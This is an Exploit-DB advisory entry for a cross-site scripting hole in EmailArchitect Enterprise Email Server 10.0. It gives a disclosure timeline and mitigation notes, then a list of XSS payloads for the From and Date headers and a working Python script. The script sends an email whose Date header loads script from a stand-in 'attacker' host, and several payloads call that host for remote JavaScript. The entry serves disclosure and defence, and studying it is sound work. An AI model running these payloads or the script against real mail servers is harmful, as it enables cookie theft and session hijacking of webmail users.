EmailArchitect Enterprise Email Server XSS Vulnerability

vendor:

Enterprise Email Server

by:

loneferret

7,5

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: Enterprise Email Server

Affected Version From: 10.0

Affected Version To: 10.0

Patch Exists: NO

Related CWE: N/A

CPE: a:emailarchitect:enterprise_email_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Server 2003 SP2, Windows 7 Pro SP1 (x86), Mac OS Lion

2012

EmailArchitect Enterprise Email Server XSS Vulnerability

A Cross-Site Scripting (XSS) vulnerability was discovered in EmailArchitect Enterprise Email Server 10.0. An attacker can exploit this vulnerability to inject malicious JavaScript code into the application, which will be executed in the browser of a user who visits the affected page. The malicious code can be used to steal cookies, hijack user sessions, redirect users to malicious websites, and perform other malicious activities.

Mitigation:

Input validation should be used to prevent Cross-Site Scripting (XSS) attacks. All user-supplied input should be validated and filtered before being used in the application. Additionally, output encoding should be used to prevent malicious code from being executed in the browser.

Source

Exploit-DB raw data:

#!/usr/bin/python

'''
Author: loneferret of Offensive Security
Product: EmailArchitect Enterprise Email Server
Version: 10.0
Vendor Site: http://www.emailarchitect.net
Software Download Link: http://www.emailarchitect.net/webapp/download/easetup.exe

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86), OS: MAC OS Lion
Browser Used: Internet Explorer 9, Firefox 12

Injection Point: From
Injection Payload(s):
1:  ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

Injection Point: Date
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
6: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
7: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
8: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> 

'''


import smtplib, urllib2

payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += "Date: Today" + payload + "\r\n"
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS.\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)